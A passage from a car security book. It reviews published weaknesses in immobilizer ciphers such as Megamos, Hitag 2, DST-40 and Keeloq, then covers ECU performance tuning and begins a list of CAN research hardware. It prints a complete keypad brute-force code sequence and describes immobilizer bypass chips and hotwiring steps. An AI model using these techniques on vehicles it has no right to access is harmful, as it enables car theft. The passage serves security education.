ware—the Tango Programmer from VAG-info.com—for adding new keys. 
The researchers acquired this software and reversed the internals of the 
software to identify the algorithm. 

In their paper, the researchers analyzed the algorithm and reported on 
the vulnerabilities they found, though the actual exploit was apparently not 
trivial and there were much easier ways to steal a car with a Megamos system. 
Nevertheless, the research was placed under a gag order, and the findings 
weren’t made public. Unfortunately, the problem with Megamos still exists, 
and it’s still insecure—the gag order simply prevents vehicle owners from 
determining their risk because the research isn’t publicly available. This is 
a prime example of how the auto industry should not respond to security 
research.

You can find a transcript of the court decision here: http://www.bailii.org/
ew/cases/EWHC/Ch/2013/1832.html. In order not to leak any details, I’ll 
simply quote the court case:

In detail the way this works is as follows: both the car computer 
and the transponder know a secret number. The number is 
unique to that car. It is called the “secret key”. Both the car com-
puter and the transponder also know a secret algorithm. That is 
a complex mathematical formula. Given two numbers it will pro-
duce a third number. The algorithm is the same for all cars which 
use the Megamos Crypto chip. Carrying out that calculation is 
what the Megamos Crypto chip does.

When the process starts the car generates a random number. 
It is sent to the transponder. Now both computers perform the 
complex mathematical operation using two numbers they both 
should know, the random number and the secret key. They each 
produce a third number. The number is split into two parts called 
F and G. Both computers now know F and G. The car sends its F to 
the transponder. The transponder can check that the car has cor-
rectly calculated F. That proves to the transponder that the car 
knows both the secret key and the Megamos Crypto algorithm. 
The transponder can now be satisfied that the car is genuinely 

5. Roel Verdult, Flavio D. Garcia, and Barış Ege, “Dismantling Megamos Crypto: Wirelessly 
Lockpicking a Vehicle Immobilizer,” Supplement to the Proceedings of the 22nd USENIX Security 
Symposium, August 2013: 703–718, https://www.usenix.org/sites/default/files/sec15_supplement.pdf.

http://www.bailii.org/ew/cases/EWHC/Ch/2013/1832.html
http://www.bailii.org/ew/cases/EWHC/Ch/2013/1832.html
https://www.usenix.org/sites/default/files/sec15_supplement.pdf


Attacking Wireless Systems with SDR   223

the car it is supposed to be. If the transponder is happy, the 
transponder sends G to the car. The car checks that G is correct. 
If it is correct then the car is happy that the transponder also 
knows the secret key and the Megamos Crypto algorithm. Thus 
the car can be satisfied that the transponder is genuine. So both 
devices have confirmed the identity of the other without actu-
ally revealing the secret key or the secret algorithm. The car can 
safely start. The verification of identity in this process depends on 
the shared secret knowledge. For the process to be secure, both 
pieces of information need to remain secret—the key and the 
algorithm.6

In reality, any robust crypto algorithm can be known. In fact, as any 
cryptographer will tell you, if knowing the math behind an algorithm jeop-
ardizes the security of that algorithm, the algorithm is flawed.

The court case determined that the attacks were hard to mitigate 
and would require a complete redesign. The researchers offered other 
lightweight algorithms that could be used in the redesigned key systems, 
but because the research was silenced, no key systems were updated. The 
Megamos algorithm is still found in key programmers like Volkswagen’s 
Tango Programmer, among others.

EM4237

Introduced  2006

Manufacturer  EM Microelectronic

Key Length  128 bits

Algorithm  Proprietary

Vehicles  Unknown

Crack Status  No known published cracks

EM4237 is described by the manufacturer as a generic, long-range, pas-
sive, contactless tag system that uses transponders. This is similar to a 
beefed-up proximity card used for building access but with a range of 1 to 
1.5 m. Normally, EM4237 requires a high-security, 128-bit password, but it 
can run in a low-security mode that requires only a 32-bit password if, for 
example, the key fob is low on battery, as it takes less energy to compute a 
32-bit key than a 128-bit key. The system’s low-security mode key is located 
in the same memory section of the transponder as the high-security mode 
key, and the system can be toggled between high and low security without 
having to reenter the password/key. The EM4237 transponder claims to be 
compliant with vicinity card standards (ISO/IEC 15693), which offers full 
encryption of the RF channel (13.56 MHz). When auditing EM4237, ensure 
that implementation on your target matches the specification.

6. Volkswagen Aktiengesellschaft v. Garcia & Ors [2013] E.W.H.C. 1832 (Ch.).
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Hitag 1

Introduced  Unknown

Manufacturer  Philips/NXP

Key Length  32 bits

Algorithm  Proprietary

Vehicles  Unknown

Crack Status  Broken

Hitag 1 relies on a 32-bit secret key and is susceptible to a brute-force attack 
that can take only a few minutes. You won’t find Hitag 1 used in many of 
today’s vehicles, but Hitag 1 transponders are still used in other RFID prod-
ucts, such as smart keychains and proximity cards.

Hitag 2

Introduced  1997

Manufacturer  Philips/NXP

Key Length  48 bits

Algorithm  Proprietary

Vehicles  Audi, Bentley, BMW, Chrysler, Land Rover, Mercedes, 
Porsche, Saab, Volkswagen, and many more

Crack Status  Broken

Hitag 2 is one of the most widely implemented (and broken) algorithms in 
vehicles produced around the world. The algorithm was cracked because its 
stream cipher, shown in Figure 12-7, is never fed back into the original state, 
making the key discoverable. 
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Figure 12-7: Hitag 2 cipher
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Hitag 2 keys can be cracked in under a minute by using a type of smart 
brute-forcing that intelligently picks the next guess rather than trying every 
possibility. The Hitag 2 system can be brute-forced so quickly because it 
doesn’t even use its full bit length, and when the transponders are intro-
duced into a system, they don’t produce true random numbers during 
initialization. Both Hitag 1 and Hitag 2 are also vulnerable to dictionary 
attacks.

You’ll find numerous papers online that discuss a multitude of weak-
nesses in Hitag 2, such as “Gone in 360 Seconds: Hijacking with Hitag2”.7

Hitag AES

Introduced  2007

Manufacturer  Philips/NXP

Key Length  128 bits

Algorithm  AES

Vehicles  Audi, Bentley, BMW, Porsche

Crack Status  No known published cracks

This newer cipher relies on the proven AES algorithm, which means that 
any weaknesses in the crypto will result from a manufacturer’s implementa-
tion. As I write this, there are no known cracks for Hitag AES.

DST-40

Introduced  2000

Manufacturer  Texas Instruments

Key Length  40 bits

Algorithm  Proprietary (unbalanced Feistel cipher)

Vehicles  Ford, Lincoln, Mercury, Nissan, Toyota

Crack Status  Broken

The algorithm used by the digital signal transponder DST-40 was also used 
in the Exxon-Mobil Speedpass payment system. The DST-40, a 200-round 
unbalanced Feistel cipher, was reverse engineered by researchers at Johns 
Hopkins University who created a series of FPGAs to brute-force the key, 
allowing them to clone the transponders. (FPGAs make it possible to create 
hardware that’s custom designed to crack algorithms, which makes brute-
forcing much more feasible.) Because an FPGA is specialized and can run 
with parallel inputs, it can often process things much faster than a general-
purpose computer.

The attack on DST-40 takes advantage of the transponder’s weak 40-bit 
key and requires no more than one hour to complete. To perform the 

7. Roel Verdult, Flavio D. Garcia, and Josep Balasch, “Gone in 360 Seconds: Hijacking with 
Hitag2,” USENIX Security ’12, Proceedings of the 21st USENIX Conference on Security, August 2012: 
237-268, https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final95.pdf.

https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final95.pdf


226   Chapter 12

attack, the attacker must get two challenge–response pairs from a valid 
transponder—a relatively easy task, since DST-40 responds to as many as 
eight queries per second. (See “Security Analysis of Cryptographically-
Enabled RFID Device” for more details on this crack.8)

DST-80

Introduced  2008

Manufacturer  Texas Instruments

Key Length  80 bits

Algorithm  Proprietary (unbalanced Feistel cipher)

Crack Status  No known published cracks

When DST-40 was cracked, Texas Instruments responded by doubling the 
key length to produce DST-80. DST-80 isn’t as widely deployed as DST-40. 
Some sources claim that DST-80 is still susceptible to attack, though, as of 
this writing, no attacks have been published.

Keeloq

Introduced  Mid-1980s

Manufacturer  Nanoteq

Key Length  64 bits

Algorithm  Proprietary (NLFSR)

Vehicles  Chrysler, Daewoo, Fiat, General Motor, Honda, Jaguar, 
Toyota, Volkswagen, Volvo

Crack Status  Broken

Keeloq, shown in Figure 12-8, is a very old algorithm, and there have been 
many published attacks on its encryption. Keeloq can use both a rolling 
code and a challenge response, and it uses a block cipher based on non-
linear feedback shift register (NLFSR). The manufacturer implementing 
Keeloq receives a key, which is stored in all receivers. Receivers learn tran-
sponder keys by receiving their IDs over a bus line programmed by the auto 
manufacturer. 

The most effective cryptographic attack in Keeloq uses both a slide 
and a meet-in-the-middle attack. The attack targets Keeloq’s challenge–
response mode and requires the collection of 216 known plaintext mes-
sages from a transponder—the recording of which can take just over one 
hour. The attack typically results only in the ability to clone the transpon-
der, but if the manufacturer’s key derivation is weak, it may be possible for 

8. Stephen C. Bono et al., “Security Analysis of a Cryptographically-Enabled RFID Device,” 
14th USENIX Security Symposium, August 2005, http://usenix.org/legacy/events/sec05/tech/bono/
bono.pdf.

http://usenix.org/legacy/events/sec05/tech/bono/bono.pdf
http://usenix.org/legacy/events/sec05/tech/bono/bono.pdf
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the attacker to deduce the key used on their transponders. However, attack-
ing the crypto has become unnecessary because newer dedicated FPGA 
clusters make it possible to simply brute-force the key.

023
State Register, y

7 2 0 1 04 1

NLF

XOR

Key Register, k

7 6 5 4 3 2 1 0 0

1

Figure 12-8: Keeloq algorithm

Keeloq is also susceptible to a power-analysis attack. A power-analysis 
attack can be used to extract the manufacturer’s key used on the transpon-
ders with only two transponder messages. If successful, such an attack typi-
cally results only in the ability to clone a transponder in a few minutes by 
monitoring the power traces on the transponder. Power analysis can also be 
used to get the manufacturer key, though such an attack could take several 
hours to perform. Once the attacker has the master key, they can clone any 
transponder. Finally, because Keeloq takes varying clock cycles when using 
its lookup table, it’s also susceptible to timing attacks. (For more on power-
analysis and timing attacks, see Chapter 8.)

Open Source Immobilizer Protocol Stack

Introduced  2011

Manufacturer  Atmel

Key Length  128 bits

Algorithm  AES

Crack Status  No known published cracks

In 2011, Atmel released the Open Source Immobilizer Protocol Stack under 
an open source license, making it freely available to the public and encour-
aging public scrutiny of the protocol design. As I write this, there are no 
known attacks on this protocol. You can download the protocol from the 
Atmel site: http://www.atmel.com/.

http://www.atmel.com/
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Physical Attacks on the Immobilizer System
So far, we’ve looked at wireless attacks and direct cryptography attacks 
against the transponders. Next, we’ll look at physical modification and 
attacks to the vehicle itself. Physical attacks typically take longer to perform 
and aren’t meant to be stealthy.

Attacking Immobilizer Chips

One way to attack an immobilization system is to physically attack the immo-
bilizer chip. In fact, it’s possible to completely remove the immobilizer chip 
(typically from a vehicle’s ECU) and still operate a vehicle, though perhaps 
not quite normally. At the very least, this removal would create a DTC and 
turn on the MIL, as discussed in “Diagnostic Trouble Codes” on page 52. 
In order to physically remove immobilizer-based security, you can purchase 
or build an immobilizer bypass chip and then solder it where the original 
immobilizer chip was to keep the rest of the ECU happy. These chips, some-
times referred to as immo emulators, typically cost $20 to $30. You’d still need 
to have a key cut for the vehicle, but having bypassed any challenge–response 
security entirely, the key would simply unlock and start the vehicle.

Brute-Forcing Keypad Entry

Now, for a change of pace: Here’s one method for brute-forcing a keypad 
lock on a vehicle; this particular method was discovered by Peter Boothe 
(available at http://www.nostarch.com/carhacking/). If the vehicle has a keypad 
under the door handle with buttons labeled 1/2, 3/4, 5/6, 7/8, 9/0, you can 
manually enter the following sequence in about 20 minutes to unlock the car 
door. You don’t have to enter the entire sequence—you can stop enter-
ing the code whenever the doors unlock. For convenience, each button is 
labeled 1, 3, 5, 7, and 9, respectively.

9 9 9 9 1 1 1 1 1 3 1 1 1 1 5 1 1 1 1 7 1 1 1 1 9 1 1 1 3 3 1 1 1 3 5 1 1 1 3 
7 1 1 1 3 9 1 1 1 5 3 1 1 1 5 5 1 1 1 5 7 1 1 1 5 9 1 1 1 7 3 1 1 1 7 5 1 1 1 
7 7 1 1 1 7 9 1 1 1 9 3 1 1 1 9 5 1 1 1 9 7 1 1 1 9 9 1 1 3 1 3 1 1 3 1 5 1 1 
3 1 7 1 1 3 1 9 1 1 3 3 3 1 1 3 3 5 1 1 3 3 7 1 1 3 3 9 1 1 3 5 3 1 1 3 5 5 1 
1 3 5 7 1 1 3 5 9 1 1 3 7 3 1 1 3 7 5 1 1 3 7 7 1 1 3 7 9 1 1 3 9 3 1 1 3 9 5 
1 1 3 9 7 1 1 3 9 9 1 1 5 1 3 1 1 5 1 5 1 1 5 1 7 1 1 5 1 9 1 1 5 3 3 1 1 5 3 
5 1 1 5 3 7 1 1 5 3 9 1 1 5 5 3 1 1 5 5 5 1 1 5 5 7 1 1 5 5 9 1 1 5 7 3 1 1 5 
7 5 1 1 5 7 7 1 1 5 7 9 1 1 5 9 3 1 1 5 9 5 1 1 5 9 7 1 1 5 9 9 1 1 7 1 3 1 1 
7 1 5 1 1 7 1 7 1 1 7 1 9 1 1 7 3 3 1 1 7 3 5 1 1 7 3 7 1 1 7 3 9 1 1 7 5 3 1 
1 7 5 5 1 1 7 5 7 1 1 7 5 9 1 1 7 7 3 1 1 7 7 5 1 1 7 7 7 1 1 7 7 9 1 1 7 9 3 
1 1 7 9 5 1 1 7 9 7 1 1 7 9 9 1 1 9 1 3 1 1 9 1 5 1 1 9 1 7 1 1 9 1 9 1 1 9 3 
3 1 1 9 3 5 1 1 9 3 7 1 1 9 3 9 1 1 9 5 3 1 1 9 5 5 1 1 9 5 7 1 1 9 5 9 1 1 9 
7 3 1 1 9 7 5 1 1 9 7 7 1 1 9 7 9 1 1 9 9 3 1 1 9 9 5 1 1 9 9 7 1 1 9 9 9 1 3 
1 3 3 1 3 1 3 5 1 3 1 3 7 1 3 1 3 9 1 3 1 5 3 1 3 1 5 5 1 3 1 5 7 1 3 1 5 9 1 
3 1 7 3 1 3 1 7 5 1 3 1 7 7 1 3 1 7 9 1 3 1 9 3 1 3 1 9 5 1 3 1 9 7 1 3 1 9 9 
1 3 3 1 5 1 3 3 1 7 1 3 3 1 9 1 3 3 3 3 1 3 3 3 5 1 3 3 3 7 1 3 3 3 9 1 3 3 5 
3 1 3 3 5 5 1 3 3 5 7 1 3 3 5 9 1 3 3 7 3 1 3 3 7 5 1 3 3 7 7 1 3 3 7 9 1 3 3 
9 3 1 3 3 9 5 1 3 3 9 7 1 3 3 9 9 1 3 5 1 5 1 3 5 1 7 1 3 5 1 9 1 3 5 3 3 1 3 
5 3 5 1 3 5 3 7 1 3 5 3 9 1 3 5 5 3 1 3 5 5 5 1 3 5 5 7 1 3 5 5 9 1 3 5 7 3 1 
3 5 7 5 1 3 5 7 7 1 3 5 7 9 1 3 5 9 3 1 3 5 9 5 1 3 5 9 7 1 3 5 9 9 1 3 7 1 5 

http://www.nostarch.com/carhacking/
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1 3 7 1 7 1 3 7 1 9 1 3 7 3 3 1 3 7 3 5 1 3 7 3 7 1 3 7 3 9 1 3 7 5 3 1 3 7 5 
5 1 3 7 5 7 1 3 7 5 9 1 3 7 7 3 1 3 7 7 5 1 3 7 7 7 1 3 7 7 9 1 3 7 9 3 1 3 7 
9 5 1 3 7 9 7 1 3 7 9 9 1 3 9 1 5 1 3 9 1 7 1 3 9 1 9 1 3 9 3 3 1 3 9 3 5 1 3 
9 3 7 1 3 9 3 9 1 3 9 5 3 1 3 9 5 5 1 3 9 5 7 1 3 9 5 9 1 3 9 7 3 1 3 9 7 5 1 
3 9 7 7 1 3 9 7 9 1 3 9 9 3 1 3 9 9 5 1 3 9 9 7 1 3 9 9 9 1 5 1 5 3 1 5 1 5 5 
1 5 1 5 7 1 5 1 5 9 1 5 1 7 3 1 5 1 7 5 1 5 1 7 7 1 5 1 7 9 1 5 1 9 3 1 5 1 9 
5 1 5 1 9 7 1 5 1 9 9 1 5 3 1 7 1 5 3 1 9 1 5 3 3 3 1 5 3 3 5 1 5 3 3 7 1 5 3 
3 9 1 5 3 5 3 1 5 3 5 5 1 5 3 5 7 1 5 3 5 9 1 5 3 7 3 1 5 3 7 5 1 5 3 7 7 1 5 
3 7 9 1 5 3 9 3 1 5 3 9 5 1 5 3 9 7 1 5 3 9 9 1 5 5 1 7 1 5 5 1 9 1 5 5 3 3 1 
5 5 3 5 1 5 5 3 7 1 5 5 3 9 1 5 5 5 3 1 5 5 5 5 1 5 5 5 7 1 5 5 5 9 1 5 5 7 3 
1 5 5 7 5 1 5 5 7 7 1 5 5 7 9 1 5 5 9 3 1 5 5 9 5 1 5 5 9 7 1 5 5 9 9 1 5 7 1 
7 1 5 7 1 9 1 5 7 3 3 1 5 7 3 5 1 5 7 3 7 1 5 7 3 9 1 5 7 5 3 1 5 7 5 5 1 5 7 
5 7 1 5 7 5 9 1 5 7 7 3 1 5 7 7 5 1 5 7 7 7 1 5 7 7 9 1 5 7 9 3 1 5 7 9 5 1 5 
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This method works because the key codes roll into one another. The 
vehicle doesn’t know where one code ends and the other one starts, which 
means that you don’t have to try each possibility in order to stumble on the 
right combination. 

Flashback: Hotwiring
No car hacking book would be complete without some discussion of 
hotwiring—a truly brute-force attack. Unfortunately, this attack has been 
obsolete since about the mid-1990s, but you still see it in countless movies, 
so I’m including it here. My goal isn’t to help you go out and hotwire a car 
but to give you a sense of how hotwiring was done.

In the past, ignition systems used a vehicle’s key to complete an electri-
cal circuit: turn the key and you’ve connected the starter wire to the igni-
tion and battery wires. No tricky immobilizer system got in the way of the 
vehicle starting; the security was purely electrical.

To hotwire a susceptible car, you’d remove the steering wheel to expose 
the ignition cylinder and typically three bundles of wires. Using the car’s 
manual or simply by tracing the wires, you’d locate the ignition-battery 
bundle and the starter wire. Next, you’d strip the battery and ignition wires 
and twist them together (see Figure 12-9). Then, you’d “spark” the bundle 
with the starter wire to start the car. Once the car started, you’d remove the 
starter wire. 

Starter
WireIgnition Wire

Battery Wire

Figure 12-9: Simple illustration of which wires to cross

If a car had a steering wheel lock, you’d bypass it by breaking off the 
metal keyhole spring and breaking the lock, or sometimes just by forcing 
the wheel to turn until you broke the lock.
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Summary
In this chapter, you learned about low-level wireless communications. We 
went over methods for identifying wireless signals and common attacks 
against wireless communications. We demonstrated a few hacks using the 
TPMS to show that even seemingly benign devices are vulnerable to attack. 
We also reviewed key fob security and demonstrated a few simple hacks there. 
Vehicle theft is rapidly adapting to modern electronic vehicles, and keyless 
system attacks are one of the main hacks used in thefts. Understanding the 
different systems, their strengths and weaknesses, and how to attack them 
can help you understand how vulnerable your vehicle is to theft. Finally, we 
discussed some old-school nonelectronic hacks, like manually brute-forcing 
door keypads and hotwiring. 

In Chapter 13, we’ll look at a common, and arguably less malicious, 
type of hacking: performance tuning.





13
P er  f or  m ance     T u n i ng

by Dave Blundell

Performance tuning, frequently referred 
to simply as tuning, involves altering an 

engine’s operating parameters to improve 
vehicle performance. In today’s vehicles, this 

usually means modifying an engine computer, even 
for mechanical modifications. 

Performance tuning is necessary for most automotive racing. This huge 
industry—worth around $19 billion annually worldwide, according to the 
Performance Racing Industry—draws almost half a million people yearly 
to compete in auto races in the United States alone. And these figures don’t 
even include the many modified vehicles that compete in amateur racing 
around the world.

Most performance tuning involves nothing more than changing the 
operating conditions of an engine to achieve goals different than those of 
the original design. Most engines have substantial room for improvement in 
power or economy if you’re willing to give up a little safety or use a different 
fuel than the engine was originally tuned with. 
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This chapter offers a high-level overview of engine performance tuning 
and the compromises that must be made when deciding which aspects of an 
engine’s operation to modify. Here are some representative examples of the 
uses and accomplishments of performance tuning:

•	 After a different rear axle gear was installed in a 2008 Chevy Silverado 
to improve the truck’s ability to tow heavy loads, the speedometer was 
thrown off because of the change in gear ratio, the transmission was 
shifting too late, and the antilock braking system was inoperable. The 
engine computer had to be reprogrammed to make the speedometer 
read correctly, and the transmission controller needed to be repro-
grammed to make the truck shift properly. After proper calibration, 
the truck was able to work correctly. 

•	 Changing from summer to winter tires in a 2005 Ford F350 required 
reprogramming the engine and transmission computers in order to 
ensure speedometer accuracy and appropriate transmission shifting. 

•	 As an alternative to junking a 1995 Honda Civic when the engine blew, 
a 2000 Honda CR-V engine and transmission were installed. The origi-
nal engine computer was reprogrammed and tuned to match the new 
engine. This vehicle has since driven almost 60,000 miles after replace-
ment of the motor.

•	 Adjusting the timing of transmission shifts and the engine’s use of fuel 
and spark in the factory computer made a 2005 Chevrolet Avalanche 
more fuel efficient. These changes improved fuel economy from a 
15.4 mpg to a 18.5 mpg average while maintaining Louisiana emissions 
testing compliance.

•	 The factory computer was reprogrammed in a 1996 Nissan 240 to match 
a newly installed engine and transmission. Before the reprogramming, 
the car could barely run. After the reprogramming, the car ran as 
though it had come from the factory with the new engine.

W A R N I N G 	 Almost every nation has its own emissions laws that tend to prohibit tampering with, 
disabling, or removing any emissions-related system. Many performance modifica-
tions, including engine computer tuning, involve changing the operation of or remov-
ing emissions components from the vehicle, which may be illegal for vehicles operated 
on public roads. Consider local laws before performance tuning any vehicle. 

Performance Tuning Trade-Offs
If performance tuning is powerful and offers so many benefits, why don’t 
cars come from the factory with the best possible settings? The short answer 
is that there is no best setting; there are only trade-offs and compromises, 
which depend on what you want from any particular vehicle. There’s always 
an interplay between settings. For example, the settings for getting the most 
horsepower out of a vehicle are not the same as the settings that deliver the 
best fuel economy. There’s a similar trade-off between lowest emissions, 
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maximum fuel economy, and maximum power. In order to simultaneously 
increase fuel economy and power output, it is necessary to increase the 
average pressure from combustion, which means the engine will be oper-
ating closer to the edge of safe operating conditions. Tuning is a game of 
compromises in which the engine is configured to achieve a specific goal 
without self-destructing.

For manufacturers, the order of priority when designing engine capa-
bilities is to ensure 

1.	 that the engine operates safely,

2.	 that it complies with emissions standards set by the EPA, and

3.	 that the fuel efficiency is as high as possible.

When manufacturers design certain performance-oriented vehicles, 
such as the Chevrolet Corvette, power output may also be a high priority, 
but only once emissions requirements have been met. Stock settings typi-
cally stop an engine short of achieving maximum power, usually in order 
to reduce emissions and protect the motor.

When performance tuning an engine without modifying mechanical 
parts, the following compromises are generally true:

•	 Increasing power lowers fuel economy and generates higher hydro
carbon emissions.

•	 Increasing fuel economy can increase NOx emissions.

•	 Increasing torque increases the force and stress on a vehicle’s engine 
and structural components.

•	 Increasing cylinder pressure leads to a higher chance of detonation and 
engine damage.

That said, it is actually possible to gain more power and improve fuel 
economy—by raising the brake mean effective pressure (BMEP). The 
BMEP is essentially the average pressure applied to the pistons during 
engine operation. The trade-off here, however, is that it’s hard to raise 
BMEP significantly without also increasing the peak cylinder pressure dur-
ing a combustion event, and so increasing the chance of detonation. There 
are firm limits on the maximum peak pressure in a given situation due to 
the motor’s physical construction, the fuel being used, and physical and 
material factors. Increasing peak cylinder pressure beyond a certain limit 
will generally result in combustion without spark due to autoignition, also 
known as detonation, which will typically destroy engines quickly. 

ECU Tuning
Engine computers are the vehicle computers most commonly modified 
for performance tuning. Most performance modifications are designed to 
change an engine’s physical operation, which often requires a correspond-
ing change to the calibration of the engine computer to achieve optimal 
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operation. Sometimes this recalibration requires physically modifying a 
computer by removing and reprogramming chips, known as chip tuning. In 
other cases, it’s possible to reprogram the ECU by communicating with it 
using a special protocol instead of physically modifyng it, which is called 
flash programming or just flashing.

Chip Tuning 
Chip tuning is the oldest form of engine computer modification. Most early 
engine controllers used dedicated ROM memory chips. In order to change a 
chip’s operation, you had to physically remove the chip, reprogram it outside 
the ECU, and then reinstall it—a process called chipping. Users who expect 
to make repeated modifications on older vehicles often install sockets in 
place of the ROM to allow easier insertion and removal of chips. 

Automotive computers use many different kinds of memory chips. Some 
can be programmed only one time, but most can be erased and reused. Some 
older chips have a window on them and require UV-C light—a sterilizer—in 
order to erase them.

EPROM Programmers

Chip tuning generally requires an EPROM programmer, a device that reads, 
writes, and—if supported—programs chips. When chip tuning, be very 
careful to make sure that the programmer you buy works with the type of 
chip you intend to modify. There’s no such thing as a truly universal chip 
programmer. Here are a couple of popular EPROM programmers:

BURN2  A relatively cheap basic programmer (about $85) that sup-
ports common EPROMs used in chip programming. It features a USB 
interface with an open command set, along with many tuning appli-
cations that already have native support (https://www.moates.net/chip​
-programming-c-94.html). 

Willem  Another popular ROM burner (from $50 to $100, depend-
ing on the model). The original Willem used a parallel port inter-
face, but newer versions use USB. (Look for the Willem on Ebay or 
MCUMall.com.) 

Almost all EPROM programmers support only dual in-line package 
(DIP) chips. If your vehicle’s computer uses surface mount–style chips, 
you’ll probably need to purchase an appropriate additional adapter. It’s 
generally a good idea to get any adapters from the same source as the pro-
grammer to ensure compatibility. All adapters should be considered custom 
hardware.

Figure 13-1 shows a ROM adapter board installed in a Nissan ECU. The 
two 28-pin sockets in the lower-left corner have been added to the original 
ECU. Some soldering is often required to modify and add ROM boards 
such as this one.

https://www.moates.net/chip-programming-c-94.html
https://www.moates.net/chip-programming-c-94.html
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Figure 13-1: A 1992 S13 Nissan KA24DE ECU with a Moates ROM adapter board 
installed

ROM Emulators

One of the big advantages of chip tuning over other tuning methods is that 
it allows the use of ROM emulators, which store the contents of ROM in some 
form of nonvolatile read/write memory so that you can make instant modi-
fications to ROM. By allowing more or less instant changes, ROM emulators 
can greatly reduce the amount of time required to tune a vehicle compared 
to flash tuning, which is usually much slower for updates.

ROM emulators generally use a USB or serial connection to a PC and 
software that updates the emulator to keep it synchronized with a working 
image on the PC. The following are recommended ROM emulators:

Ostrich2  A ROM emulator designed for 8-bit EPROMs ranging from 
4k (2732A) to 512k (4mbit 29F040) and everything in between (27C128, 
27C256, 27C512). It is relatively inexpensive at about $185, and features 
a USB interface with an open command set, as well as many tuning 
applications that already have native support (https://www.moates.net/
ostrich-20-the-new-breed-p-169.html). 

https://www.moates.net/ostrich-20-the-new-breed-p-169.html
https://www.moates.net/ostrich-20-the-new-breed-p-169.html
https://www.moates.net/ostrich-20-the-new-breed-p-169.html
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RoadRunner  A ROM emulator aimed at 16-bit EPROMs, like 28F200, 
29F400, and 28F800 in a PSOP44 package (see Figure 13-2). It is also 
relatively inexpensive at about $489 and features a USB interface with 
an open command set and many tuning applications that already have 
native support (https://www.moates.net/roadrunnerdiy-guts-kit-p-118.html). 

Figure 13-2: The RoadRunner emulator connected to a Chevrolet 12200411 LS1 PCM

OLS300  An emulator that works with only WinOLS software. It is 
around $3,000 (you have to get a quote) and emulates a variety of 8- 
and 16-bit EPROMs natively (http://www.evc.de/en/product/ols/ols300/).

Flash Tuning
Unlike chip tuning, flash tuning (also known as flashing) requires no physi-
cal modifications. When flashing, you reprogram the ECU by communi-
cating with it using specialized protocols. 

The first flashable ECUs became available around 1996. J2534 DLLs com-
bined with OEM software provide access to a method of flash programming, 
but most tuning software bypasses this entirely and communicates natively 
with the ECU. Most aftermarket tuning packages—such as HP tuners, EFI 
Live, Hondata, and Cobb—use a proprietary piece of hardware instead of 
a J2534 pass-through device. The Binary Editor (http://www.eecanalyzer.net/) 
is one example of software that offers J2534 as an option for programming 
Ford vehicles using supported J2534 interfaces.

RomRaider

RomRaider (http://www.romraider.com/) is a free, open source tuning 
tool designed for Subaru vehicles. With that, you can use the Tactrix 
OpenPort 2.0—a piece of pass-through hardware (http://www.tactrix.com/, 
about $170) that works well with RomRaider. Once you have a pass-through 

https://www.moates.net/roadrunnerdiy-guts-kit-p-118.html
http://www.evc.de/en/product/ols/ols300/
http://www.eecanalyzer.net/
http://www.romraider.com/
http://www.tactrix.com/
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cable hooked up to the ECU, RomRaider allows you to download the ECU’s 
flash memory. You can then open these flash images with a definitions file, 
or def, which maps the locations and structure of parameters within the 
image, and provides the formulas to display data in a human-readable for-
mat. This mapping lets you quickly locate and change engine parameters 
without having to disassemble the flash. Figure 13-3 shows RomRaider with 
a flash image and definition loaded.

Figure 13-3: RomRaider ECU editor

Stand-Alone Engine Management
One alternative to reverse engineering factory computers is to simply replace 
them with an aftermarket part. A popular stand-alone engine computer 
is the MegaSquirt (http://megasquirt.info/), which is a family of boards and 
chips that will work with just about any fuel-injected engine. 

MegaSquirt has its roots in the DIY community and was designed to 
enable people to program their own engine computers. Early MegaSquirt 
units typically required you to assemble the board yourself, but these ver-
sions often resulted in confusion, with many competing user-assembled 
hardware designs that were not quite compatible. Current designs have 
therefore moved toward a pre-made format in order to provide a more 
consistent and uniform hardware platform.

http://megasquirt.info/
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There are several multiplatform tools available for use with the Mega
Squirt hardware. Figure 13-4 shows the most popular one: TunerStudio 
(http://www.tunerstudio.com/index.php/tuner-studio/, around $60). TunerStudio 
lets you modify parameters, view sensors and engine operating conditions, 
record data, and analyze data to make targeted changes. 

Figure 13-4: TunerStudio gauge cluster

Summary
This chapter shows how an understanding of a vehicle’s embedded systems 
can be used to change its behavior. We’ve seen how almost any changes made 
to a vehicle, even mechanical modifications, require some reprogramming 
of the vehicle’s computer. We’ve looked at how alterations in standard factory 
settings result in performance trade-offs and compromises, such that the 
“best” settings for a vehicle will always depend on your specific goals. We’ve 
also shown a few examples of performance tuning methods, including chip 
and flash tuning, and presented some common hardware and software tools 
used for tuning cars.

http://www.tunerstudio.com/index.php/tuner-studio
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This section discusses different tools that 
you may want to use when researching a 

vehicle. I’ve chosen to focus on low-cost 
devices and software because it’s important 

to me that as many people as possible participate in 
the research. 

Open Garages is willing to showcase and promote tools to aid with auto-
motive research. If your company produces a great product, feel free to con-
tact Open Garages, but unless there’s an open way to contribute to your tool, 
don’t expect free publicity.

Hardware
In this section, we’ll cover boards, like the ChipWhisperer, as well as dongle-
like devices that provide CAN connectivity. We’ll first look at lower-cost, 
open source hardware and then explore some higher-end devices for those 
willing to spend a bit more money. 
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Though there are many cost-effective devices for communicating with 
the CAN bus, the software needed to interact with these devices can be 
lacking, so you’ll often need to write your own. 

Lower-End CAN Devices
These devices are useful for sniffing the contents of your CAN bus and 
injecting packets. They range from hobbyist-level boards to professional 
devices that support lots of custom features and can handle many different 
CAN buses simultaneously.

Arduino Shields

Numerous Arduino and Arduino-like devices ($20 to $30, https://www​
.arduino.cc/) will support CAN with the addition of an Arduino shield. Here 
are some Arduino shields that support CAN:

CANdiy-Shield  MCP2515 CAN controller with two RJ45 connectors 
and a protoarea

ChuangZhou CAN-Bus Shield  MCP2515 CAN controller with a D-sub 
connector and screw terminals

DFRobot CAN-Bus Shield  STM32 controller with a D-sub connector

SeeedStudio SLD01105P CAN-Bus Shield  MCP2515 CAN controller 
with a D-sub connector

SparkFun SFE CAN-Bus Shield  MCP2515 CAN controller with a 
D-sub connector and an SD card holder; has connectors for an LCD 
and GPS module

These shields are all pretty similar. Most run the MCP2515 CAN con-
troller, though the DFRobot shield uses a STM32, which is faster with more 
buffer memory. 

Regardless of which shield you choose, you’ll have to write code for the 
Arduino in order to sniff packets. Each shield comes with a library designed 
to interface with the shield programmatically. Ideally, these buses should 
support something like the LAWICEL protocol, which allows them to send 
and receive packets over serial via a userspace tool on the laptop, such as 
SocketCAN.

Freematics OBD-II Telematics Kit

This Arduino-based OBD-II Bluetooth adapter kit has both an OBD-II 
